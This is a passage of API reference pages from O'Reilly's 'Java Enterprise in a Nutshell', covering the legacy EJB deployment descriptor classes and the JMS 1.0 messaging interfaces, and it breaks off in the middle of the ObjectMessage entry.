Passed To: SessionBean.setSessionContext()

SessionSynchronization EJB 1.0
javax.ejb

Session beans are not required to be transactional, but if you want your session bean to be notified of transaction boundaries, you can have your bean implementation class extend the SessionSynchronization interface. The EJB container invokes the methods on this interface to notify your bean about the start and end of transactions.

The afterBegin() is called when a new transaction has started. Any business methods invoked on the bean between this point and a subsequent call to its beforeCompletion() method execute within the context of this transaction. The beforeCompletion() method is called on the bean when a transaction is about to end. The afterCompletion() method is called after the transaction has ended, and the boolean argument tells the bean whether the transaction was committed successfully (true) or rolled back (false).

public interface SessionSynchronization {
// | Public Instance Methods
 | public abstract void afterBegin () throws java.rmi.RemoteException;
 | public abstract void afterCompletion (boolean committed) throws java.rmi.RemoteException;
 | public abstract void beforeCompletion () throws java.rmi.RemoteException;
}
Previous | Home | Next
18.1. The java.sql Package | Book Index | 20. The javax.ejb.deployment Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.ejb.deployment Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 20. The javax.ejb.deployment Package

The javax.ejb.deployment package defines classes used by EJB containers to encapsulate information about EJB objects. An EJB container should provide a tool that creates an instance of the EntityDescriptor or SessionDescriptor class for a bean, initializes its fields, and then serializes that initialized instance. Then, when the bean is deployed into the EJB container, the container reads the serialized deployment descriptor class and its properties to obtain configuration information for the bean. Figure 20-1 shows the class hierarchy of this package.

Figure 20-1. The javax.ejb.deployment package class hierarchy

AccessControlEntry | EJB 1.0
javax.ejb.deployment | serializable

This is a serializable class that represents a security-related entry within a bean deployment descriptor. Each AccessControlEntry included within a DeploymentDescriptor specifies a list of identities, in the form of java.security.Identity objects, that should have access to a particular method on a bean. If there is no method set for the entry, the entry is considered the default access control entry for the entire bean, listing which identities should have access to the bean. Any method on a bean without its own AccessControlEntry object uses the default entry for access control.

public class AccessControlEntry implements Serializable {
// | Public Constructors
 | public AccessControlEntry (); |
 | public AccessControlEntry (java.lang.reflect.Method method); |
 | public AccessControlEntry (java.lang.reflect.Method method, java.security.Identity[ ] identities); |
// | Public Instance Methods
 | public java.security.Identity[ ] getAllowedIdentities (); | default:null
 | public java.security.Identity getAllowedIdentities (int index); |
 | public java.lang.reflect.Method getMethod (); | default:null
 | public void setAllowedIdentities (java.security.Identity[ ] values); |
 | public void setAllowedIdentities (int index, java.security.Identity value); |
 | public void setMethod (java.lang.reflect.Method value); |
}

Hierarchy: Object-->AccessControlEntry(Serializable)

Passed To: DeploymentDescriptor.setAccessControlEntries()

Returned By: DeploymentDescriptor.getAccessControlEntries()

ControlDescriptor | EJB 1.0
javax.ejb.deployment | serializable

A ControlDescriptor is a component of a DeploymentDescriptor that specifies how a container should manage the transaction and security features for a specific method on a bean. If no method is specified in the ControlDescriptor, the features apply by default to all methods on the bean, unless a method has its own ControlDescriptor.

The methods on the ControlDescriptor let you specify the transaction isolation level (using the constant TRANSACTION_XXX members of the class), the identity under which to run the method, the run-as mode (CLIENT_IDENTITY, SPECIFIED_IDENTITY, or SYSTEM_IDENTITY), and how transactions should be managed for the method (using the TX_XXX constants).

public class ControlDescriptor implements Serializable {
// | Public Constructors
 | public ControlDescriptor (); |
 | public ControlDescriptor (java.lang.reflect.Method method); |
// | Public Constants
 | public static final int CLIENT_IDENTITY ; | =0
 | public static final int SPECIFIED_IDENTITY ; | =1
 | public static final int SYSTEM_IDENTITY ; | =2
 | public static final int TRANSACTION_READ_COMMITTED ; | =2
 | public static final int TRANSACTION_READ_UNCOMMITTED ; | =1
 | public static final int TRANSACTION_REPEATABLE_READ ; | =4
 | public static final int TRANSACTION_SERIALIZABLE ; | =8
 | public static final int TX_BEAN_MANAGED ; | =1
 | public static final int TX_MANDATORY ; | =5
 | public static final int TX_NOT_SUPPORTED ; | =0
 | public static final int TX_REQUIRED ; | =2
 | public static final int TX_REQUIRES_NEW ; | =4
 | public static final int TX_SUPPORTS ; | =3
// | Public Instance Methods
 | public int getIsolationLevel (); | default:2
 | public java.lang.reflect.Method getMethod (); | default:null
 | public java.security.Identity getRunAsIdentity (); | default:null
 | public int getRunAsMode (); | default:1
 | public int getTransactionAttribute (); | default:3
 | public void setIsolationLevel (int value); |
 | public void setMethod (java.lang.reflect.Method value); |
 | public void setRunAsIdentity (java.security.Identity value); |
 | public void setRunAsMode (int value); |
 | public void setTransactionAttribute (int value); |
}

Hierarchy: Object-->ControlDescriptor(Serializable)

Passed To: DeploymentDescriptor.setControlDescriptors()

Returned By: DeploymentDescriptor.getControlDescriptors()

DeploymentDescriptor | EJB 1.0
javax.ejb.deployment | serializable

DeploymentDescriptor is a serializable class that contains all the parameters that tell an EJB container how to deploy and manage a bean. A serialized DeploymentDescriptor object is packaged with the relevant classes for an EJB object when it is deployed within an EJB container. The container deserializes the DeploymentDescriptor object and reads the deployment information from it.

This abstract base class defines deployment properties that apply to any type of bean; the SessionDescriptor and EntityDescriptor subclasses define additional properties specific to deploying session beans and entity beans.

The DeploymentDescriptor provides access to a list of AccessControlEntry objects that specify the access levels for the methods on the bean, as well as a list of ControlDescriptor objects that specify how transactions and security features should be handled for specific methods on the bean. The descriptor also contains the class names for the bean implementation class, its home interface, and its remote interface, as well as a boolean flag that indicates whether the bean is reentrant.

public abstract class DeploymentDescriptor implements Serializable {
// | Public Constructors
 | public DeploymentDescriptor ();
// | Public Instance Methods
 | public AccessControlEntry[ ] getAccessControlEntries ();
 | public AccessControlEntry getAccessControlEntries (int index);
 | public javax.naming.Name getBeanHomeName ();
 | public ControlDescriptor[ ] getControlDescriptors ();
 | public ControlDescriptor getControlDescriptors (int index);
 | public String getEnterpriseBeanClassName ();
 | public java.util.Properties getEnvironmentProperties ();
 | public String getHomeInterfaceClassName ();
 | public boolean getReentrant ();
 | public String getRemoteInterfaceClassName ();
 | public boolean isReentrant ();
 | public void setAccessControlEntries (AccessControlEntry[ ] values);
 | public void setAccessControlEntries (int index, AccessControlEntry value);
 | public void setBeanHomeName (javax.naming.Name value);
 | public void setControlDescriptors (ControlDescriptor[ ] value);
 | public void setControlDescriptors (int index, ControlDescriptor value);
 | public void setEnterpriseBeanClassName (String value);
 | public void setEnvironmentProperties (java.util.Properties value);
 | public void setHomeInterfaceClassName (String value);
 | public void setReentrant (boolean value);
 | public void setRemoteInterfaceClassName (String value);
// | Protected Instance Fields
 | protected int versionNumber ;
}

Hierarchy: Object-->DeploymentDescriptor(Serializable)

Subclasses: EntityDescriptor, SessionDescriptor

EntityDescriptor | EJB 1.0
javax.ejb.deployment | serializable

This extension of DeploymentDescriptor adds deployment properties specific to entity beans. It contains a list of bean properties whose persistence should be managed by the container, as well as the name of the bean's primary key class.

public class EntityDescriptor extends DeploymentDescriptor {
// | Public Constructors
 | public EntityDescriptor (); |
// | Public Instance Methods
 | public java.lang.reflect.Field[ ] getContainerManagedFields (); | default:null
 | public java.lang.reflect.Field getContainerManagedFields (int index); |
 | public String getPrimaryKeyClassName (); | default:""
 | public void setContainerManagedFields (java.lang.reflect.Field[ ] values); |
 | public void setContainerManagedFields (int index, java.lang.reflect.Field value); |
 | public void setPrimaryKeyClassName (String value); |
}

Hierarchy: Object-->DeploymentDescriptor(Serializable)-->EntityDescriptor

SessionDescriptor | EJB 1.0
javax.ejb.deployment | serializable

This extension of DeploymentDescriptor class adds deployment properties specific to session beans. Included are the bean's timeout period and whether it's stateful or stateless.

public class SessionDescriptor extends DeploymentDescriptor {
// | Public Constructors
 | public SessionDescriptor (); |
// | Public Constants
 | public static final int STATEFUL_SESSION ; | =1
 | public static final int STATELESS_SESSION ; | =0
// | Public Instance Methods
 | public int getSessionTimeout (); | default:0
 | public int getStateManagementType (); | default:1
 | public void setSessionTimeout (int value); |
 | public void setStateManagementType (int value); |
}

Hierarchy: Object-->DeploymentDescriptor(Serializable)-->SessionDescriptor

Previous | Home | Next
19.1. The javax.ejb Package | Book Index | 21. The javax.jms Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.jms Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 21. The javax.jms Package

The javax.jms package implements the Java Message Service (JMS), which provides an API for message-based communication between separate Java processes. Message-based communication is asynchronous; a message addressed to a recipient or group is sent, and the recipient receives and acts on the message at some later time. This is different from other network-based communication between clients, like RMI, where the sender of a message waits for a response before continuing.

In the JMS model, clients of a message service send and receive messages through a provider that is responsible for delivering messages. JMS 1.0 provides two models for messaging among clients: point-to-point and publish/subscribe. In point-to-point messaging, a message is created by one client and addressed for a single remote recipient. The provider is handed the message and delivers it to the one recipient targeted by the message. This model revolves around message queues: a message sender queues outgoing messages for delivery and a message recipient queues incoming messages for handling. The interfaces provided in the javax.jms package for point-to-point messaging have "Queue" as their prefix (QueueConnection, QueueSession, etc.). In publish/subscribe messaging, a hierarchical content tree is established. Clients publish messages to specific nodes or topics in the tree, and these messages are delivered to any clients that have subscribed to these nodes. Interfaces related to publish/subscribe messaging have "Topic" as their prefix (TopicConnection, TopicSession, etc.). Point-to-point messaging is analogous to typical email messaging; publish/subscribe messaging works like Internet newsgroups.

In a typical scenario, a JMS client gets a reference to a ConnectionFactory from the JMS provider (usually through a JNDI lookup). The ConnectionFactory creates a Connection to the provider. With the Connection, a client can create Session objects to send and receive messages. Within a single Session, messages are sent and received in a serial order. Once the client has a Session, it can send and receive Message objects composed of a header, optional properties, and a body. Different types of Message objects can hold different contents in their body (e.g., text, binary data, name/value pairs).

Figure 21-1 shows the interfaces in the javax.jms package, while Figure 21-2 shows the classes and exceptions.

Figure 21-1. The interfaces of the javax.jms package

Figure 21-2. The classes and exceptions of the javax.jms package

BytesMessage JMS 1.0
javax.jms

A BytesMessage is a Message that contains an uninterpreted stream of bytes as its body. This is typically used to wrap an existing (non-JMS) message format so that it can be delivered over JMS. Data is written to the message's binary body using its writeXXX() methods and read using its readXXX() methods. Once a BytesMessage has been created (using a series of write calls), the reset() method can put the message into read-only mode. Until this is done, the message is in write-only mode, and the contents cannot be read.

public interface BytesMessage extends Message {
// | Public Instance Methods
 | public abstract boolean readBoolean () throws JMSException;
 | public abstract byte readByte () throws JMSException;
 | public abstract int readBytes (byte[ ] value) throws JMSException;
 | public abstract int readBytes (byte[ ] value, int length) throws JMSException;
 | public abstract char readChar () throws JMSException;
 | public abstract double readDouble () throws JMSException;
 | public abstract float readFloat () throws JMSException;
 | public abstract int readInt () throws JMSException;
 | public abstract long readLong () throws JMSException;
 | public abstract short readShort () throws JMSException;
 | public abstract int readUnsignedByte () throws JMSException;
 | public abstract int readUnsignedShort () throws JMSException;
 | public abstract String readUTF () throws JMSException;
 | public abstract void reset () throws JMSException;
 | public abstract void writeBoolean (boolean value) throws JMSException;
 | public abstract void writeByte (byte value) throws JMSException;
 | public abstract void writeBytes (byte[ ] value) throws JMSException;
 | public abstract void writeBytes (byte[ ] value, int offset, int length) throws JMSException;
 | public abstract void writeChar (char value) throws JMSException;
 | public abstract void writeDouble (double value) throws JMSException;
 | public abstract void writeFloat (float value) throws JMSException;
 | public abstract void writeInt (int value) throws JMSException;
 | public abstract void writeLong (long value) throws JMSException;
 | public abstract void writeObject (Object value) throws JMSException;
 | public abstract void writeShort (short value) throws JMSException;
 | public abstract void writeUTF (String value) throws JMSException;
}

Hierarchy: (BytesMessage(Message))

Returned By: Session.createBytesMessage()

Connection JMS 1.0
javax.jms

A JMS client needs to have a Connection to the JMS provider in order to send or receive messages. The javax.jms.Connection interface for messaging is roughly analogous to the java.sql.Connection interface in JDBC--one connects a client to a messaging service, while the other connects a client to a persistent data service. JMS Connection objects are generally expensive to create, because setup requires network communication with the provider. Thus, a client normally has only one, or very few, Connection objects to its JMS provider.

A Connection can either be in running mode (messages are being sent and received through the connection), or it can be stopped. When a Connection is in stopped mode, it can send messages, but not receive them. A newly created Connection is in stopped mode so that you can finish setting up your client (e.g., creating Session objects; creating MessageConsumer and/or MessageProducer objects). A Connection can be started and stopped using stop() and start() multiple times, if necessary. When you're done with a Connection, you should free up its resources by calling its close() method.

A Connection object creates sessions for message exchanges. The methods for creating sessions are defined by extensions of the Connection interface (QueueConnection and TopicConnection).

public interface Connection {
// | Public Instance Methods
 | public abstract void close () throws JMSException;
 | public abstract String getClientID () throws JMSException;
 | public abstract ConnectionMetaData getMetaData () throws JMSException;
 | public abstract void setClientID (String clientID) throws JMSException;
 | public abstract void setExceptionListener (ExceptionListener listener) throws JMSException;
 | public abstract void start () throws JMSException;
 | public abstract void stop () throws JMSException;
}

Implementations: QueueConnection, TopicConnection

ConnectionConsumer JMS 1.0
javax.jms

A ConnectionConsumer is used in situations where messages need to be read concurrently by multiple agents within the same process (e.g., within an application server running multiple message-based applications). The ConnectionConsumer delivers messages to one or more Session objects that are associated with MessageListener objects for individual clients. It contains a reference to a ServerSessionPool that accesses the Session objects concurrently reading messages. ConnectionConsumer is typically used by an application server to provide a message-handling service for client applications; applications normally don't need to use the interface directly.

public interface ConnectionConsumer {
// | Public Instance Methods
 | public abstract void close () throws JMSException;
 | public abstract ServerSessionPool getServerSessionPool () throws JMSException;
}

Returned By: QueueConnection.createConnectionConsumer(), TopicConnection.{createConnectionConsumer(), createDurableConnectionConsumer()}

ConnectionFactory JMS 1.0
javax.jms

A messaging client uses a ConnectionFactory to get a Connection object to a message provider. A ConnectionFactory is usually acquired through a JNDI lookup. The ConnectionFactory interface doesn't define methods for creating Connection objects; these methods are provided by extensions to this interface (e.g., QueueConnectionFactory, TopicConnectionFactory).

public interface ConnectionFactory {
}

Implementations: QueueConnectionFactory, TopicConnectionFactory

ConnectionMetaData JMS 1.0
javax.jms

The Connection.getMetaData() method returns a ConnectionMetaData object that holds information about the JMS connection, including the version of JMS being used by the provider and version information about the provider itself.

public interface ConnectionMetaData {
// | Public Instance Methods
 | public abstract int getJMSMajorVersion () throws JMSException;
 | public abstract int getJMSMinorVersion () throws JMSException;
 | public abstract String getJMSProviderName () throws JMSException;
 | public abstract String getJMSVersion () throws JMSException;
 | public abstract int getProviderMajorVersion () throws JMSException;
 | public abstract int getProviderMinorVersion () throws JMSException;
 | public abstract String getProviderVersion () throws JMSException;
}

Returned By: javax.jms.Connection.getMetaData()

DeliveryMode JMS 1.0
javax.jms

This interface defines constants that represent delivery modes a JMS provider can support. NON_PERSISTENT delivery implies that a significant failure by the provider before a message can be delivered causes the message to be lost. PERSISTENT delivery mode implies that the provider stores messages to persistent storage, so that the messages survive a crash by the provider. A message sender specifies the delivery mode for a Message in its header, using the Message.setJMSDeliveryMode() method, and the provider is responsible for honoring the delivery mode.

public interface DeliveryMode {
// | Public Constants
 | public static final int NON_PERSISTENT ; | =1
 | public static final int PERSISTENT ; | =2
}
Destination JMS 1.0
javax.jms

A Destination represents a delivery address for a message. This interface is simply a marker interface, without any methods or members, since JMS does not attempt to define an addressing syntax. An implementor of a JMS provider needs to provide implementations of this interface that define its message-addressing syntax. Destination objects might be published by a JMS provider using JNDI. In this case, a JMS client needs to assemble the name of the queue in the syntax expected by the provider and then do a JNDI lookup to get a reference to the Destination.

public interface Destination {
}

Implementations: Queue, Topic

Passed To: Message.{setJMSDestination(), setJMSReplyTo()}

Returned By: Message.{getJMSDestination(), getJMSReplyTo()}

ExceptionListener JMS 1.0
javax.jms

An ExceptionListener gets asynchronous notification of errors that occur with a Connection to a JMS provider. If a client registers an ExceptionListener with a Connection using the Connection.setExceptionListener() method, the provider calls the onException() method on the ExceptionListener when any error occurs, passing it the exception that describes the error.

public interface ExceptionListener {
// | Public Instance Methods
 | public abstract void onException (JMSException exception);
}

Passed To: javax.jms.Connection.setExceptionListener()

IllegalStateException | JMS 1.0
javax.jms | serializable checked

Thrown if a request is made of a provider at a time when the request cannot be satisfied.

public class IllegalStateException extends JMSException {
// | Public Constructors
 | public IllegalStateException (String reason);
 | public IllegalStateException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->IllegalStateException

InvalidClientIDException | JMS 1.0
javax.jms | serializable checked

Thrown by the Connection.setClientID() method when an invalid client ID is given.

public class InvalidClientIDException extends JMSException {
// | Public Constructors
 | public InvalidClientIDException (String reason);
 | public InvalidClientIDException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->InvalidClientIDException

InvalidDestinationException | JMS 1.0
javax.jms | serializable checked

Thrown when the provider encounters a destination it cannot understand or is no longer accessible by the provider (e.g., a topic has been removed from a publish/subscribe context, or a queue associated with a user account has been removed because the account has been closed).

public class InvalidDestinationException extends JMSException {
// | Public Constructors
 | public InvalidDestinationException (String reason);
 | public InvalidDestinationException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->InvalidDestinationException

InvalidSelectorException | JMS 1.0
javax.jms | serializable checked

Thrown when a malformed selector is given to a provider (e.g., as part of a MessageSelector).

public class InvalidSelectorException extends JMSException {
// | Public Constructors
 | public InvalidSelectorException (String reason);
 | public InvalidSelectorException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->InvalidSelectorException

JMSException | JMS 1.0
javax.jms | serializable checked

This is the base class for all JMS-related exceptions. It provides a provider-specific error code and a nested exception that is the source of the error.

public class JMSException extends Exception {
// | Public Constructors
 | public JMSException (String reason); |
 | public JMSException (String reason, String errorCode); |
// | Public Instance Methods
 | public String getErrorCode (); |
 | public Exception getLinkedException (); |
 | public void setLinkedException (Exception ex); | synchronized
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException

Subclasses: javax.jms.IllegalStateException, InvalidClientIDException, InvalidDestinationException, InvalidSelectorException, JMSSecurityException, MessageEOFException, MessageFormatException, MessageNotReadableException, MessageNotWriteableException, ResourceAllocationException, TransactionInProgressException, TransactionRolledBackException

Passed To: ExceptionListener.onException()

Thrown By: Too many methods to list.

JMSSecurityException | JMS 1.0
javax.jms | serializable checked

Thrown by a provider when a request cannot be satisfied for security reasons (e.g., a client-provided name/password fails authentication).

public class JMSSecurityException extends JMSException {
// | Public Constructors
 | public JMSSecurityException (String reason);
 | public JMSSecurityException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->JMSSecurityException

MapMessage JMS 1.0
javax.jms

A MapMessage has a set of name/value pairs as its message body. The name of a property is a String, and the value is a Java primitive type. There are getXXX() and setXXX() methods for each primitive type, plus getObject() and setObject() methods for situations where the type of the value is not known until runtime. If a property is set to a value of a certain type, it has to be read back using a get method appropriate for that type, according to this table:

If written as: | Can be read as: |  |  |  |  |  |  |  |  |
 | boolean | byte | char | short | int | long | float | double | String | byte[]
boolean | X |  |  |  |  |  |  |  | X |
byte |  | X |  | X | X | X |  |  | X |
char |  |  | X |  |  |  |  |  | X |
short |  |  |  | X | X | X |  |  | X |
int |  |  |  |  | X | X |  |  | X |
long |  |  |  |  |  | X |  |  | X |
float |  |  |  |  |  |  | X | X | X |
double |  |  |  |  |  |  |  | X | X |
String | X | X | X | X | X | X | X | X | X |
byte[] |  |  |  |  |  |  |  |  |  | X

If a value is read using an inappropriate get method, a MessageFormatException is thrown. The getMapNames() methods returns an Enumeration of names for the values in the MapMessage. A client that receives a MapMessage can read only the contents of the message until it calls clearBody() on the message. If a client tries to write values to the message before this, a MessageNotWriteableException is thrown.

public interface MapMessage extends Message {
// | Public Instance Methods
 | public abstract boolean getBoolean (String name) throws JMSException;
 | public abstract byte getByte (String name) throws JMSException;
 | public abstract byte[ ] getBytes (String name) throws JMSException;
 | public abstract char getChar (String name) throws JMSException;
 | public abstract double getDouble (String name) throws JMSException;
 | public abstract float getFloat (String name) throws JMSException;
 | public abstract int getInt (String name) throws JMSException;
 | public abstract long getLong (String name) throws JMSException;
 | public abstract java.util.Enumeration getMapNames () throws JMSException;
 | public abstract Object getObject (String name) throws JMSException;
 | public abstract short getShort (String name) throws JMSException;
 | public abstract String getString (String name) throws JMSException;
 | public abstract boolean itemExists (String name) throws JMSException;
 | public abstract void setBoolean (String name, boolean value) throws JMSException;
 | public abstract void setByte (String name, byte value) throws JMSException;
 | public abstract void setBytes (String name, byte[ ] value) throws JMSException;
 | public abstract void setBytes (String name, byte[ ] value, int offset, int length) throws JMSException;
 | public abstract void setChar (String name, char value) throws JMSException;
 | public abstract void setDouble (String name, double value) throws JMSException;
 | public abstract void setFloat (String name, float value) throws JMSException;
 | public abstract void setInt (String name, int value) throws JMSException;
 | public abstract void setLong (String name, long value) throws JMSException;
 | public abstract void setObject (String name, Object value) throws JMSException;
 | public abstract void setShort (String name, short value) throws JMSException;
 | public abstract void setString (String name, String value) throws JMSException;
}

Hierarchy: (MapMessage(Message))

Returned By: Session.createMapMessage()

Message JMS 1.0
javax.jms

The Message interface is the base interface for all messages in JMS. A Message is composed of a set of predefined header fields, an optional set of application-specific properties, and a body that contains the content of the message. A set and get method are provided for each header field supported by a JMS message. The possible header fields include:

JMSCorrelationID

A String that identifies another message (e.g., original message for a response) with which this message is related. The ID value is dictated by either the JMS provider or the application.

JMSDeliveryMode

One of the static values of the DeliveryMode interface.

JMSDestination

The target of this message, as a Destination object.

JMSExpiration

The time (in milliseconds since the epoch) when the message will expire. Each client specifies a time-to-live for the messages they send, so this header field is automatically set at send time to the current time plus the client's time-to-live.

JMSMessageID

A unique String identifier for this message. The provider sets this field automatically when a message is sent.

JMSPriority

A value from 0 to 9 (9 is highest) that indicates the urgency of the message. JMS providers are supposed to attempt to deliver messages with a priority from 5 to 9 before attempting to deliver lower-priority messages.

JMSRedelivered

An indicator that the message was delivered to the client earlier but no acknowledgment was received.

JMSReplyTo

A Destination where the receiver can send a reply to the message.

JMSTimestamp

The time (in milliseconds since the epoch) at which a message was given to a JMS provider for sending.

JMSType

A String that indicates the type of the message. There are no standard values for a message's type; they can be provider- or application-specific.

Properties with names prefixed by "JMSX" are reserved for use by the JMS standard.

Properties can be added to a message using the setXXXProperty() methods and read using the getXXXProperty() methods. If a property is written with a value of a given type, it needs to be read from the message according to the following table:

If written as: | Can be read as: |  |  |  |  |  |  |
 | boolean | byte | short | int | long | float | double | String
boolean | X |  |  |  |  |  |  | X
byte |  | X | X | X | X |  |  | X
short |  |  | X | X | X |  |  | X
int |  |  |  | X | X |  |  | X
long |  |  |  |  | X |  |  | X
float |  |  |  |  |  | X | X | X
double |  |  |  |  |  |  | X | X
String | X | X | X | X | X | X | X | X

If in invalid get method is used for a property, a MessageFormatException is thrown.

public interface Message {
// | Public Constants
 | public static final int DEFAULT_DELIVERY_MODE ; | =-1
 | public static final int DEFAULT_PRIORITY ; | =-1
 | public static final int DEFAULT_TIME_TO_LIVE ; | =-1
// | Public Instance Methods
 | public abstract void acknowledge () throws JMSException; |
 | public abstract void clearBody () throws JMSException; |
 | public abstract void clearProperties () throws JMSException; |
 | public abstract boolean getBooleanProperty (String name) throws JMSException; |
 | public abstract byte getByteProperty (String name) throws JMSException; |
 | public abstract double getDoubleProperty (String name) throws JMSException; |
 | public abstract float getFloatProperty (String name) throws JMSException; |
 | public abstract int getIntProperty (String name) throws JMSException; |
 | public abstract String getJMSCorrelationID () throws JMSException; |
 | public abstract byte[ ] getJMSCorrelationIDAsBytes () throws JMSException; |
 | public abstract int getJMSDeliveryMode () throws JMSException; |
 | public abstract Destination getJMSDestination () throws JMSException; |
 | public abstract long getJMSExpiration () throws JMSException; |
 | public abstract String getJMSMessageID () throws JMSException; |
 | public abstract int getJMSPriority () throws JMSException; |
 | public abstract boolean getJMSRedelivered () throws JMSException; |
 | public abstract Destination getJMSReplyTo () throws JMSException; |
 | public abstract long getJMSTimestamp () throws JMSException; |
 | public abstract String getJMSType () throws JMSException; |
 | public abstract long getLongProperty (String name) throws JMSException; |
 | public abstract Object getObjectProperty (String name) throws JMSException; |
 | public abstract java.util.Enumeration getPropertyNames () throws JMSException; |
 | public abstract short getShortProperty (String name) throws JMSException; |
 | public abstract String getStringProperty (String name) throws JMSException; |
 | public abstract boolean propertyExists (String name) throws JMSException; |
 | public abstract void setBooleanProperty (String name, boolean value) throws JMSException; |
 | public abstract void setByteProperty (String name, byte value) throws JMSException; |
 | public abstract void setDoubleProperty (String name, double value) throws JMSException; |
 | public abstract void setFloatProperty (String name, float value) throws JMSException; |
 | public abstract void setIntProperty (String name, int value) throws JMSException; |
 | public abstract void setJMSCorrelationID (String correlationID) throws JMSException; |
 | public abstract void setJMSCorrelationIDAsBytes (byte[ ] correlationID) throws JMSException; |
 | public abstract void setJMSDeliveryMode (int deliveryMode) throws JMSException; |
 | public abstract void setJMSDestination (Destination destination) throws JMSException; |
 | public abstract void setJMSExpiration (long expiration) throws JMSException; |
 | public abstract void setJMSMessageID (String id) throws JMSException; |
 | public abstract void setJMSPriority (int priority) throws JMSException; |
 | public abstract void setJMSRedelivered (boolean redelivered) throws JMSException; |
 | public abstract void setJMSReplyTo (Destination replyTo) throws JMSException; |
 | public abstract void setJMSTimestamp (long timestamp) throws JMSException; |
 | public abstract void setJMSType (String type) throws JMSException; |
 | public abstract void setLongProperty (String name, long value) throws JMSException; |
 | public abstract void setObjectProperty (String name, Object value) throws JMSException; |
 | public abstract void setShortProperty (String name, short value) throws JMSException; |
 | public abstract void setStringProperty (String name, String value) throws JMSException; |
}

Implementations: BytesMessage, MapMessage, ObjectMessage, StreamMessage, TextMessage

Passed To: MessageListener.onMessage(), QueueRequestor.request(), QueueSender.send(), TopicPublisher.publish(), TopicRequestor.request()

Returned By: MessageConsumer.{receive(), receiveNoWait()}, QueueRequestor.request(), Session.createMessage(), TopicRequestor.request()

MessageConsumer JMS 1.0
javax.jms

A JMS client uses a MessageConsumer to receive messages. A client creates a message consumer by specifying a Destination from which to receive messages and an optional message selector that filters messages according to their header fields and property values. The methods for creating MessageConsumer objects are defined in subinterfaces of the Connection interface.

A message selector is a filter string whose syntax is based on the SQL92 conditional expression syntax. See the JMS specification for more details on the syntax of message selectors.

A client can use a MessageConsumer synchronously by polling it with its receive methods or asynchronously by registering a MessageListener with the consumer. When a message arrives that matches the sending Destination and the message selector, the onMessage() method on the registered listener is called.

A MessageConsumer should be freed by calling its close() method, to free up any resources allocated for it by the provider.

public interface MessageConsumer {
// | Public Instance Methods
 | public abstract void close () throws JMSException;
 | public abstract MessageListener getMessageListener () throws JMSException;
 | public abstract String getMessageSelector () throws JMSException;
 | public abstract Message receive () throws JMSException;
 | public abstract Message receive (long timeOut) throws JMSException;
 | public abstract Message receiveNoWait () throws JMSException;
 | public abstract void setMessageListener (MessageListener listener) throws JMSException;
}

Implementations: QueueReceiver, TopicSubscriber

MessageEOFException | JMS 1.0
javax.jms | serializable checked

Thrown if the end of a StreamMessage or BytesMessage is reached before it is expected.

public class MessageEOFException extends JMSException {
// | Public Constructors
 | public MessageEOFException (String reason);
 | public MessageEOFException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->MessageEOFException

MessageFormatException | JMS 1.0
javax.jms | serializable checked

Thrown when an attempt is made to read data from a message as the wrong data type or to write data to a message in a type it does not support.

public class MessageFormatException extends JMSException {
// | Public Constructors
 | public MessageFormatException (String reason);
 | public MessageFormatException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->MessageFormatException

MessageListener JMS 1.0
javax.jms

A MessageListener is registered by a client with a MessageConsumer, to allow the client to asynchronously receive messages. When the consumer receives a message, the listener's onMessage() method is invoked. The consumer waits until the onMessage() method is complete before delivering the next message.

public interface MessageListener {
// | Public Instance Methods
 | public abstract void onMessage (Message message);
}

Passed To: MessageConsumer.setMessageListener(), Session.setMessageListener()

Returned By: MessageConsumer.getMessageListener(), Session.getMessageListener()

MessageNotReadableException | JMS 1.0
javax.jms | serializable checked

Thrown if a client attempts to read data from a write-only message (e.g., a StreamMessage whose contents have not yet been reset).

public class MessageNotReadableException extends JMSException {
// | Public Constructors
 | public MessageNotReadableException (String reason);
 | public MessageNotReadableException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->MessageNotReadableException

MessageNotWriteableException | JMS 1.0
javax.jms | serializable checked

Thrown when an attempt is made to write data to a read-only message (e.g., a received MapMessage that has not yet had its clearBody() method called).

public class MessageNotWriteableException extends JMSException {
// | Public Constructors
 | public MessageNotWriteableException (String reason);
 | public MessageNotWriteableException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->MessageNotWriteableException

MessageProducer JMS 1.0
javax.jms

A client uses a MessageProducer to send messages. A MessageProducer can be tied to a specific Destination, and any messages sent through the producer are addressed to the Destination specified when it was created. If a Destination is not specified when a MessageProducer is created, a Destination has to provide for each message sent. Methods to create MessageProducer objects are provided by subinterfaces of the Session interface (e.g., TopicSession, QueueSession).

A MessageProducer has a default delivery mode, priority, and time-to-live for messages it sends. There are get and set methods for these default properties. If these properties are specified on a message, they override the defaults of the MessageProducer.

public interface MessageProducer {
// | Public Instance Methods
 | public abstract void close () throws JMSException;
 | public abstract int getDeliveryMode () throws JMSException;
 | public abstract boolean getDisableMessageID () throws JMSException;
 | public abstract boolean getDisableMessageTimestamp () throws JMSException;
 | public abstract int getPriority () throws JMSException;
 | public abstract int getTimeToLive () throws JMSException;
 | public abstract void setDeliveryMode (int deliveryMode) throws JMSException;
 | public abstract void setDisableMessageID (boolean value) throws JMSException;
 | public abstract void setDisableMessageTimestamp (boolean value) throws JMSException;
 | public abstract void setPriority (int deliveryMode) throws JMSException;
 | public abstract void setTimeToLive (int timeToLive) throws JMSException;
}

Implementations: QueueSender, TopicPublisher

ObjectMessage JMS 1.0
javax.jms

This is a message that contains a single serialized Java object as its body. Only a Serializable object can be used as the body of an ObjectMessage. When an ObjectMessage is received, it is read-only until the clearBody() method is called on it.

public interface ObjectMessage extends Message {
// | Public Instance Methods
